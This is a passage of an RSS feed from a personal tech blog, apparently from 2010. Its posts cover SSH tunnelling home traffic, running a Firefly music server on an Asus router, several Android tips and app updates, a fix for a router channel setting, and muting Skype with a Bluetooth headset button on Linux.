&lt;p&gt;5b) Secondly, you can use this tunnel to route all traffic to internet through home connection. For this, choose the type as &amp;ldquo;dynamic&amp;rdquo; and source port as, say, &amp;quot; 56001&amp;quot;. You don&amp;rsquo;t need to select a destination port here because any traffic that comes over this tunnel will be routed back to the internet using the destination ip and port as desired, e.g., specified in a browser&amp;rsquo;s address bar.&lt;/p&gt;
&lt;p&gt;**Bonus: **As I promised above, here is the bonus. For media streaming, you can use mt-daapd or firefly server on your home network, especially on a router like asus wl-500 or any other hackable router with custom firmware. For more info about how to set it up, you can check these posts:&lt;a href="https://shantanugoel.com/2009/07/03/compiling-latest-firefly-mt-daapd-asus-wl-500w.html"&gt; Latest Firefly server for your router&lt;/a&gt; and &lt;a href="https://shantanugoel.com/2010/07/26/firefly-sqlite-error-unable-to-open-database-file-solution.html"&gt;firefly sqlite error solution&lt;/a&gt;.   For android side things, install the &amp;ldquo;DAAP Client&amp;rdquo; app from the market place and click on &amp;ldquo;Add server&amp;rdquo; option and follow step 4a as mentioned above. And there it is, your own music streaming service anywhere in the world, over edge/3G or any other network :)&lt;/p&gt;</content></item><item><title>Camera LED As Flashlight on Non-Rooted Android Phones</title><link>https://shantanugoel.com/2010/07/30/camera-led-flashlight-non-rooted-android-phones/</link><pubDate>Fri, 30 Jul 2010 09:31:08 +0000</pubDate><guid>https://shantanugoel.com/2010/07/30/camera-led-flashlight-non-rooted-android-phones/</guid><description>&lt;p&gt;We all know that Android does not allow the camera LED to be controlled directly from apps and hence, you cannot use the camera LED as a Torch or Flashlight unless you are rooted. There are many flashlight apps on the Android Market Place but none of them will work for you if you don&amp;rsquo;t have a rooted phone. BUT this changed recently. I use a brilliant app called &amp;ldquo;quick settings&amp;rdquo; which keeps an icon in the notification bar and I can pull it down and change any settings without leaving other apps. It has a flashlight function but so far it used to work by turning on the screen with a white screen, which was a less than ideal solution. I upgraded to the latest version a few days ago (1.9.4 p1). While messing around with the settings, I wandered across the flashlight settings which allows you to choose what kind of flashlight you want. Now, I&amp;rsquo;m not sure whether this setting was present earlier or not but I decided to give it a try and chose LED instead of screen (Screenshot below):&lt;/p&gt;</description><content>&lt;p&gt;We all know that Android does not allow the camera LED to be controlled directly from apps and hence, you cannot use the camera LED as a Torch or Flashlight unless you are rooted. There are many flashlight apps on the Android Market Place but none of them will work for you if you don&amp;rsquo;t have a rooted phone. BUT this changed recently. I use a brilliant app called &amp;ldquo;quick settings&amp;rdquo; which keeps an icon in the notification bar and I can pull it down and change any settings without leaving other apps. It has a flashlight function but so far it used to work by turning on the screen with a white screen, which was a less than ideal solution. I upgraded to the latest version a few days ago (1.9.4 p1). While messing around with the settings, I wandered across the flashlight settings which allows you to choose what kind of flashlight you want. Now, I&amp;rsquo;m not sure whether this setting was present earlier or not but I decided to give it a try and chose LED instead of screen (Screenshot below):&lt;/p&gt;
&lt;p&gt;&lt;a href="https://shantanugoel.com/img/uploads/quick-settings-flash-android-settings.png"&gt;&lt;img src="https://shantanugoel.com/img/uploads/quick-settings-flash-android-settings-thumb.png" alt="Android Quick Settings Flashlight LED Settings"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Once done, I went back to the main screen and pressed the flashlight icon in the top right (Screen shot below) and voila! my camera LED switched on. I&amp;rsquo;m a happy camper now as this is a life saver many times. Try this out for yourself by searching for &amp;ldquo;Quick Settings&amp;rdquo; in the market and let me know if it works on your phone too (mine is a nexus one).&lt;/p&gt;
&lt;p&gt;&lt;a href="https://shantanugoel.com/img/uploads/quick-settings-flash-android-main-screen.png"&gt;&lt;img src="https://shantanugoel.com/img/uploads/quick-settings-flash-android-main-screen-thumb.png" alt="Android Quick Settings"&gt;&lt;/a&gt;&lt;/p&gt;</content></item><item><title>Firefly / sqlite error "unable to open database file" Solution</title><link>https://shantanugoel.com/2010/07/26/firefly-sqlite-error-unable-to-open-database-file-solution/</link><pubDate>Mon, 26 Jul 2010 18:11:40 +0000</pubDate><guid>https://shantanugoel.com/2010/07/26/firefly-sqlite-error-unable-to-open-database-file-solution/</guid><description>&lt;p&gt;Recently I came across a weird error while trying to run firefly itunes server (mt-daapd) on my router (Asus wl-500w). It had something to do with sqlite and gave a vague message &amp;ldquo;Unable to open database file&amp;rdquo;. After going bonkers for a short time, I solved it and this is how.&lt;/p&gt;
&lt;p&gt;One of my hard disks crashed recently and unfortunately it was the one I had connected to my router to serve media to me all over the house (through PS3/laptop) or when I travel (through laptop/phone). I had all the data backed up but somehow didn&amp;rsquo;t preserve the firefly server. I rebuilt the server from source using my &lt;a href="https://shantanugoel.com/2009/07/03/compiling-latest-firefly-mt-daapd-asus-wl-500w.html"&gt;own guide&lt;/a&gt; (Thank God I did it. I wouldn&amp;rsquo;t have been able to preserve my sanity finding all that out the hard way again.). But after doing all the installation and reconfiguration, it gave me a weird error &amp;ldquo;unable to open database file&amp;rdquo; every time and exited. I checked the permissions on the songs3.db file (in /opt/var/cache/mt-daapd for me) and made it writable by all but the issue persisted. I changed its ownership to the user under which firefly was running but the issue was still there. Finally I found that the server (or maybe its an sqlite thing) was trying to create a temp file in the cache directory for the transactions and since the user with which it was started, didn&amp;rsquo;t own the directory it wasn&amp;rsquo;t able to create the file in it.&lt;/p&gt;</description><content>&lt;p&gt;Recently I came across a weird error while trying to run firefly itunes server (mt-daapd) on my router (Asus wl-500w). It had something to do with sqlite and gave a vague message &amp;ldquo;Unable to open database file&amp;rdquo;. After going bonkers for a short time, I solved it and this is how.&lt;/p&gt;
&lt;p&gt;One of my hard disks crashed recently and unfortunately it was the one I had connected to my router to serve media to me all over the house (through PS3/laptop) or when I travel (through laptop/phone). I had all the data backed up but somehow didn&amp;rsquo;t preserve the firefly server. I rebuilt the server from source using my &lt;a href="https://shantanugoel.com/2009/07/03/compiling-latest-firefly-mt-daapd-asus-wl-500w.html"&gt;own guide&lt;/a&gt; (Thank God I did it. I wouldn&amp;rsquo;t have been able to preserve my sanity finding all that out the hard way again.). But after doing all the installation and reconfiguration, it gave me a weird error &amp;ldquo;unable to open database file&amp;rdquo; every time and exited. I checked the permissions on the songs3.db file (in /opt/var/cache/mt-daapd for me) and made it writable by all but the issue persisted. I changed its ownership to the user under which firefly was running but the issue was still there. Finally I found that the server (or maybe its an sqlite thing) was trying to create a temp file in the cache directory for the transactions and since the user with which it was started, didn&amp;rsquo;t own the directory it wasn&amp;rsquo;t able to create the file in it.&lt;/p&gt;
&lt;p&gt;So, the fix: I did a &lt;code&gt;chown &amp;lt;username&amp;gt; /opt/var/cache/mt-daapd&lt;/code&gt; on it and voila! the problem was fixed. I am a happy man now since I own a new android phone since last time and now able to stream all my music to my phone through itunes (daap protocol) server over an ssh tunnel :)&lt;/p&gt;</content></item><item><title>Android App Wi-Fi Keep Alive updated to 1.4.1</title><link>https://shantanugoel.com/2010/07/22/android-app-wi-fi-keep-alive-updated-1-4-0/</link><pubDate>Thu, 22 Jul 2010 16:58:07 +0000</pubDate><guid>https://shantanugoel.com/2010/07/22/android-app-wi-fi-keep-alive-updated-1-4-0/</guid><description>&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt; Made a minor update for a small bug that can make wi-fi keep reconnecting in quick succession.&lt;/p&gt;
&lt;p&gt;Pushed out a new update to my Android App Wi-Fi Keep Alive today. This update brings in another work around for the issue where the wi-fi is alive on the phone and it is also connected to the network but is somehow unable to send/receive any packets to the network. The new work around will automatically re-associate your phone with the wi-fi router if it detects such a situation. This seems to make it work properly again for sometime. When it fails again, the workaround kicks in automatically again. This is not an ideal &amp;ldquo;fix&amp;rdquo; as such because streaming apps like Pandora radio etc might have a hiccup because of this but it is unavoidable as of now and atleast the notifications for mails and other things etc will work fine because this state stops even the mobile data network from taking over since the phone perceives that wi-fi is connected but is not working actually.&lt;/p&gt;</description><content>&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt; Made a minor update for a small bug that can make wi-fi keep reconnecting in quick succession.&lt;/p&gt;
&lt;p&gt;Pushed out a new update to my Android App Wi-Fi Keep Alive today. This update brings in another work around for the issue where the wi-fi is alive on the phone and it is also connected to the network but is somehow unable to send/receive any packets to the network. The new work around will automatically re-associate your phone with the wi-fi router if it detects such a situation. This seems to make it work properly again for sometime. When it fails again, the workaround kicks in automatically again. This is not an ideal &amp;ldquo;fix&amp;rdquo; as such because streaming apps like Pandora radio etc might have a hiccup because of this but it is unavoidable as of now and atleast the notifications for mails and other things etc will work fine because this state stops even the mobile data network from taking over since the phone perceives that wi-fi is connected but is not working actually.&lt;/p&gt;
&lt;p&gt;The other things include support for small screen devices like Xperia X10 mini, some optimizations for size and speed, some icon sizes and UI tweaks for compatibility with different screen sizes and android versions. Please try it out from the market as usual and let me know how it goes.&lt;/p&gt;</content></item><item><title>Cannot Change Channel Problem With Asus WL-500W</title><link>https://shantanugoel.com/2010/07/13/cannot-change-channel-problem-with-asus-wl-500w/</link><pubDate>Tue, 13 Jul 2010 12:16:44 +0000</pubDate><guid>https://shantanugoel.com/2010/07/13/cannot-change-channel-problem-with-asus-wl-500w/</guid><description>&lt;p&gt;Recently I found an issue with my asus wl-500w wi-fi router that I wasn&amp;rsquo;t able to change the channel on which it was transmitting. I moved to a new location which was totally jam-packed with other wi-fi networks using same channel as mine which was hampeing my connection. I tried for umpteen number of times. Changing the channel through the web configuration did not give any error but I found that it was still transmitting at channel 1. I confirmed by checking on the &amp;ldquo;Status &amp;amp; Log&amp;rdquo; page, checking the logs, and running &amp;ldquo;wl status&amp;rdquo; command through ssh and they all confirmed that it was transmitting at channel 1 only, no matter what I set it to in the configuration. I even opened an issue in the firmware project for the custom firmware (by oleg and lly) that I am using but they weren&amp;rsquo;t able to help me as the wi-fi drivers are binary only.&lt;/p&gt;</description><content>&lt;p&gt;Recently I found an issue with my asus wl-500w wi-fi router that I wasn&amp;rsquo;t able to change the channel on which it was transmitting. I moved to a new location which was totally jam-packed with other wi-fi networks using same channel as mine which was hampeing my connection. I tried for umpteen number of times. Changing the channel through the web configuration did not give any error but I found that it was still transmitting at channel 1. I confirmed by checking on the &amp;ldquo;Status &amp;amp; Log&amp;rdquo; page, checking the logs, and running &amp;ldquo;wl status&amp;rdquo; command through ssh and they all confirmed that it was transmitting at channel 1 only, no matter what I set it to in the configuration. I even opened an issue in the firmware project for the custom firmware (by oleg and lly) that I am using but they weren&amp;rsquo;t able to help me as the wi-fi drivers are binary only.&lt;/p&gt;
&lt;p&gt;But by sheer chance, I stumbled upon the solution finally by trial and error. The solution is that you should set the &amp;ldquo;Bandwidth&amp;rdquo; to 20 MHz in wi-fi configuration if you are using 802.11 G. If you set it to 40 MHz then it gets stuck somehow but as soon as I changed it to 20 MHz, I was able to see the channel change immediately after reboot. Here is the screenshot of the page where you can find this setting.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://shantanugoel.com/img/uploads/asus-wl-500-w-change-channel.jpg"&gt;&lt;img src="https://shantanugoel.com/img/uploads/asus-wl-500-w-change-channel-thumb.jpg" alt=""&gt;&lt;/a&gt;&lt;/p&gt;</content></item><item><title>Mute (or Answer) Skype Calls with BT Headset Button in Linux</title><link>https://shantanugoel.com/2010/07/08/mute-answer-skype-calls-bluetooth-headset-button-in-linux/</link><pubDate>Thu, 08 Jul 2010 18:31:55 +0000</pubDate><guid>https://shantanugoel.com/2010/07/08/mute-answer-skype-calls-bluetooth-headset-button-in-linux/</guid><description>&lt;p&gt;Skype on linux works great but the problem that I faced was that it does not handle the buttons on the bluetooth headsets. My wife uses skype to call into her work related conference calls and was pretty frustrated that she had to keep sitting in front of my laptop (her laptop didn&amp;rsquo;t allow to install skype) just to switch mute on and off. So, I whipped up this little trick to do so. Here is how:&lt;/p&gt;</description><content>&lt;p&gt;Skype on linux works great but the problem that I faced was that it does not handle the buttons on the bluetooth headsets. My wife uses skype to call into her work related conference calls and was pretty frustrated that she had to keep sitting in front of my laptop (her laptop didn&amp;rsquo;t allow to install skype) just to switch mute on and off. So, I whipped up this little trick to do so. Here is how:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;First I looked at the skype API (pretty simple, based on dbus). Also found a sample script somewhere that allowed to answer and hang up calls through skype API.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Modified the script to switch the mute on and off instead of answering/hanging up. Script can be downloaded at the end of this article. You can also modify it to take some other action that you want.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Install &amp;ldquo;blueman&amp;rdquo;. If you are using Ubuntu, just type &amp;ldquo;sudo apt-get install blueman&amp;rdquo; in shell.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Once blueman is installed and you have done your headset pairing etc, right click on the blueman icon in the system tray and click on &amp;ldquo;Local Services&amp;rdquo;.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;In local services, click on headset tab and you can see a input box where you can give the path of a program/script which will be run whenever the &amp;ldquo;answer button&amp;rdquo; on the headset is pressed. This is important to note that blueman only supports the answer button and nothing else and I didn&amp;rsquo;t have the inclination to develop a full-fledged AVRCP compliant program to capture other buttons as all I was interested in mute functionality. You can see the screenshot of this below:&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;a href="https://shantanugoel.com/img/uploads/blueman-skype-bluetooth-mute-button.png"&gt;&lt;img src="https://shantanugoel.com/img/uploads/blueman-skype-bluetooth-mute-button-thumb.png" alt="Skype Headset Button Settings for Blueman"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;ol start="6"&gt;
&lt;li&gt;Make sure that you give the path where you saved the script that you downloaded in step 4 and you are all set now. Make a call and click on the answer button of your headset to see the magic happen :P&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Let me know if you have your own hacks like this or know of a way to have a full fledged capturing of all headset buttons.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Sorry I lost the file somewhere over the years during a server move and it&amp;rsquo;s no longer available&lt;/em&gt;&lt;/p&gt;</content></item><item><title>BadTokenException Error In Android Dialog</title><link>https://shantanugoel.com/2010/07/08/badtokenexception-android-dialog-getapplicationcontext/</link><pubDate>Thu, 08 Jul 2010 11:24:14 +0000</pubDate><guid>https://shantanugoel.com/2010/07/08/badtokenexception-android-dialog-getapplicationcontext/</guid><description>&lt;p&gt;If you are creating a custom Dialog for Android, and following the &lt;a href="http://developer.android.com/guide/topics/ui/dialogs.html"&gt;Android Developers’ Creating Dialogs&lt;/a&gt; tutorial, then most likely you would have faced a Force Close with this exception showing up in logcat. I did too. Although I figured it out quickly, it might not be easy to find out for many, so posting it here for reference. Basically, the code given in the tutorial goes something like this:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Context mContext = getApplicationContext();
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Dialog dialog = new Dialog(mContext);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;dialog.setContentView(R.layout.custom_dialog);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;dialog.setTitle(&amp;#34;Custom Dialog&amp;#34;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;TextView text = (TextView) dialog.findViewById(R.id.text);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;text.setText(&amp;#34;Hello, this is a custom dialog!&amp;#34;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ImageView image = (ImageView) dialog.findViewById(R.id.image);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;image.setImageResource(R.drawable.android);
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;All looks well, but when you execute it, you will get a Force Close. The error appearing in logcat would be something like this:&lt;/p&gt;</description><content>&lt;p&gt;If you are creating a custom Dialog for Android, and following the &lt;a href="http://developer.android.com/guide/topics/ui/dialogs.html"&gt;Android Developers’ Creating Dialogs&lt;/a&gt; tutorial, then most likely you would have faced a Force Close with this exception showing up in logcat. I did too. Although I figured it out quickly, it might not be easy to find out for many, so posting it here for reference. Basically, the code given in the tutorial goes something like this:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Context mContext = getApplicationContext();
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Dialog dialog = new Dialog(mContext);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;dialog.setContentView(R.layout.custom_dialog);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;dialog.setTitle(&amp;#34;Custom Dialog&amp;#34;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;TextView text = (TextView) dialog.findViewById(R.id.text);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;text.setText(&amp;#34;Hello, this is a custom dialog!&amp;#34;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ImageView image = (ImageView) dialog.findViewById(R.id.image);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;image.setImageResource(R.drawable.android);
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;All looks well, but when you execute it, you will get a Force Close. The error appearing in logcat would be something like this:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Uncaught handler: thread main exiting due to uncaught exception
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;android.view.WindowManager$BadTokenException: Unable to add window -- token null is not for an application
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;It isn’t apparent immediately that what is causing this error. The very first line in the code “Context mContext = getApplicationContext();” is the culprit.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Solution:&lt;/strong&gt; Just replace “getApplicationContext()” with “this” (i.e. “Context mContext = this;” ) and it will work fine.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Explanation:&lt;/strong&gt; As to why this is exactly an issue, I’m a bit fuzzy about it myself but this much I’m sure that the contexts that you get with getApplicationContext and this are different. On reading about this function from Android SDK help:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Return the context of the single, global Application object of the current process. This generally should only be used if you need a Context whose lifecycle is separate from the current context, that is tied to the lifetime of the process rather than the current component.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;I think this would mean is that getApplicationContext returns a context which is for the application itself and not the activity, while “this” would give you the context of the activity in which you are creating the dialog. I think since it is the activity which is associated with the UI (and for whom the window has been created), using the application context would have caused the crash here.&lt;/p&gt;</content></item><item><title>Android App: Wi-Fi Keep Alive Updated to 1.2.0</title><link>https://shantanugoel.com/2010/07/03/android-app-wi-fi-keep-alive-updated-to-1-2-0/</link><pubDate>Sat, 03 Jul 2010 22:46:36 +0000</pubDate><guid>https://shantanugoel.com/2010/07/03/android-app-wi-fi-keep-alive-updated-to-1-2-0/</guid><description>&lt;p&gt;Just finished uploading the new version 1.2.0 of my android app Wi-Fi Keep Alive to the Android market. This version has a lot of optimizations and also a few workarounds to overcome the issues few guys were facing with Android&amp;rsquo;s in-built handling of wi-fi sleep policies.&lt;/p&gt;
&lt;p&gt;Changes done in this version:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Added workarounds to take care of sleep policies not working on some phones&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Optimized the code a bit for faster operations&lt;/p&gt;</description><content>&lt;p&gt;Just finished uploading the new version 1.2.0 of my android app Wi-Fi Keep Alive to the Android market. This version has a lot of optimizations and also a few workarounds to overcome the issues few guys were facing with Android&amp;rsquo;s in-built handling of wi-fi sleep policies.&lt;/p&gt;
&lt;p&gt;Changes done in this version:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Added workarounds to take care of sleep policies not working on some phones&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Optimized the code a bit for faster operations&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Added Configuration screens to widgets (pops up whenever widget is added)&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;</content></item><item><title>Android App: Wi-Fi Keep Alive</title><link>https://shantanugoel.com/2010/06/28/android-app-wi-fi-keep-alive/</link><pubDate>Mon, 28 Jun 2010 15:25:48 +0000</pubDate><guid>https://shantanugoel.com/2010/06/28/android-app-wi-fi-keep-alive/</guid><description>&lt;p&gt;I just wrote my second Android App. This again was to scratch an itch of mine but it seems to have become a bit popular already (My first app &amp;ldquo;Quick Sync Settings&amp;rdquo; did around 400 downloads in 20 days but this one has already surpassed that in less than one day). This app basically allows you to change the wi-fi sleep policy on android so that you can keep your wi-fi connected even if the phone goes to sleep (i.e. screen turns off). What&amp;rsquo;s more is that I&amp;rsquo;ve added a widget to it so you don&amp;rsquo;t even have to go into the app. Just tap on the widget to cycle through the settings.&lt;/p&gt;</description><content>&lt;p&gt;I just wrote my second Android App. This again was to scratch an itch of mine but it seems to have become a bit popular already (My first app &amp;ldquo;Quick Sync Settings&amp;rdquo; did around 400 downloads in 20 days but this one has already surpassed that in less than one day). This app basically allows you to change the wi-fi sleep policy on android so that you can keep your wi-fi connected even if the phone goes to sleep (i.e. screen turns off). What&amp;rsquo;s more is that I&amp;rsquo;ve added a widget to it so you don&amp;rsquo;t even have to go into the app. Just tap on the widget to cycle through the settings.&lt;/p&gt;</content></item><item><title>Wi-Fi Keep Alive</title><link>https://shantanugoel.com/2010/06/28/wi-fi-keep-alive/</link><pubDate>Mon, 28 Jun 2010 15:20:19 +0000</pubDate><guid>https://shantanugoel.com/2010/06/28/wi-fi-keep-alive/</guid><description>&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt; Potential work arounds for folks having problem in sleep policies not working correctly have been put in version 1.2.0 onwards. Please redownload to test and let me know. Read below for more details.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Latest Version:&lt;/strong&gt; 1.4.4 (See below for change log history)&lt;/p&gt;
&lt;p&gt;Are you frustrated by your downloads getting broken or worse, switching over to slow and expensive mobile data connections like GPRS/Edge/3G when your wi-fi connection gets dropped by your Android phone when the screen goes off? If yes, then look no further. Here is my app that allows you to choose your desired Wi-Fi Sleep policy. You can choose from the following options:&lt;/p&gt;</description><content>&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt; Potential work arounds for folks having problem in sleep policies not working correctly have been put in version 1.2.0 onwards. Please redownload to test and let me know. Read below for more details.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Latest Version:&lt;/strong&gt; 1.4.4 (See below for change log history)&lt;/p&gt;
&lt;p&gt;Are you frustrated by your downloads getting broken or worse, switching over to slow and expensive mobile data connections like GPRS/Edge/3G when your wi-fi connection gets dropped by your Android phone when the screen goes off? If yes, then look no further. Here is my app that allows you to choose your desired Wi-Fi Sleep policy. You can choose from the following options:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Default -&amp;gt; This means that wi-fi will turn off whenever the screen goes off.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Wi-Fi On on sleep if plugged -&amp;gt; This means that if your phone is plugged into a USB slot or wall charger, then wi-fi will not turn off even when the screen goes off.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Wi-Fi Never goes off -&amp;gt; This means that your wi-fi will not shut down whenever screen turns off, even if you are not plugged into USB/charger.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Please note that this app just changes the sleep policy and does not change the wi-fi state by itself. You can still control wi-fi turning on/off manually.&lt;/p&gt;
&lt;p&gt;Few folks were having issues with their devices that the inbuilt handling of this wi-fi sleep policy in their phones wasn&amp;rsquo;t being done properly by Android. To take care of this, there are a few workarounds added to the app now which can be accessed by clicking on &amp;ldquo;Advanced Options&amp;rdquo; on the configuration screen (This configuration screen can be accessed by launching the app or it will also show up whenever you add a widget). Enable any one or all of the workarounds mentioned in advanced settings depending on what works best on your device as there are lot of variants due to different manufacturers and different Android versions on different phones. Please also note that you should enable these workarounds only if the app is not working fully well for you without enabling them as some of them can cause your battery to drain a bit faster.&lt;/p&gt;
&lt;p&gt;Another thing to note is that I&amp;rsquo;ve added a widget for it. So, you can install the app and instead of having to open the app and change the setting every time, you can just add its widget to your home screen (Long press on home screen. Then choose Widgets-&amp;gt;Wi-Fi Keep Alive). Now, you can just touch it whenever you want to change your setting and it will automatically cycle through the options listed above.&lt;/p&gt;
&lt;p&gt;Dark/Sepia Widget Icon -&amp;gt; Default setting&lt;/p&gt;
&lt;p&gt;Purple Widget Icon -&amp;gt; Wi-Fi On on sleep if plugged&lt;/p&gt;
&lt;p&gt;Green Widget -&amp;gt; Wi-Fi never goes off&lt;/p&gt;
&lt;p&gt;Please try it out and let me know if you face any issues or have any suggestions :)&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Known Issues:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1) Known issue with &amp;ldquo;on when plugged in&amp;rdquo; policy is that if you are already plugged in while changing anything in the app, workarounds don&amp;rsquo;t take place until you plug out and plug in again&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;**2) **This is not a known issue with the app but with wi-fi on some devices itself that it stops working on leaving it idle even if the phone is not sleeping. This is not the purview of this particular app and it might not solve it, although few folks say that this app helps in this scenario as well.&lt;/p&gt;
&lt;p&gt;**3) **Some routers/settings are also known to cause issues with wi-fi in sleep. The correct pattern has not been identified yet but many people report that they can stay connected to wi-fi in sleep with some routers but with other routers, it fails. (Work Around 3 might help in such cases but not always)&lt;/p&gt;
&lt;p&gt;**4) **While adding widget, the main app screen will pop-up for widget configuration. You need to choose any one policy (even if desired one already selected) otherwise widget will not be added&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Notes:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;**1) **Please press Menu key in the app and select &amp;ldquo;Help&amp;rdquo; to see details about policy and workaround options.&lt;/p&gt;
&lt;p&gt;**2) **Please report any bugs here along with these details so that i can fix the issues:&lt;/p&gt;
&lt;p&gt;i) Device/Phone Name and Rom version&lt;/p&gt;
&lt;p&gt;ii) What is the app version that you have? (latest is 1.2.1)&lt;/p&gt;
&lt;p&gt;iii) Did you try turning on all combinations of workarounds in advanced options?&lt;/p&gt;
&lt;p&gt;iv) Can you please enable logging in the advanced options and send me logcat dump for this duration, preferably with all workarounds enabled.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Changelog:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;16-August-2010 -&amp;gt; 1.4.4&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Fix widget icon colors (**Note: **If the new icons don&amp;rsquo;t appear on existing widget, please delete the widget and add it again)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;13-August-2010 -&amp;gt; 1.4.3&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Fix widget icon resolutions to make them look sharper on home screen (**Note: **If the new icons don&amp;rsquo;t appear on existing widget, please delete the widget and add it again)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;02-August-2010 -&amp;gt; 1.4.2&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Better looking &amp;amp; smaller icons (including widget). Thanks a lot to &amp;ldquo;rori&amp;rdquo; from xda-developers to design the icons :) (**Note: ** If the new icons don&amp;rsquo;t appear on existing widget, please delete the widget and add it again)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Space optimization so that the app takes lesser space on phone.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;22-July-2010 -&amp;gt; 1.4.1&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Fixed a bug that can cause wi-fi to keep reconnecting in quick succession in certain situations.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;22-July-2010 -&amp;gt; 1.4.0&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Added workaround 4 (Re-associate automatically with access point if all else fails. Needs workaround 3 to be enabled)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Support for small screens (e.g. XPeria X10 mini)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Widget/Icons size optimizations for older Android versions&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
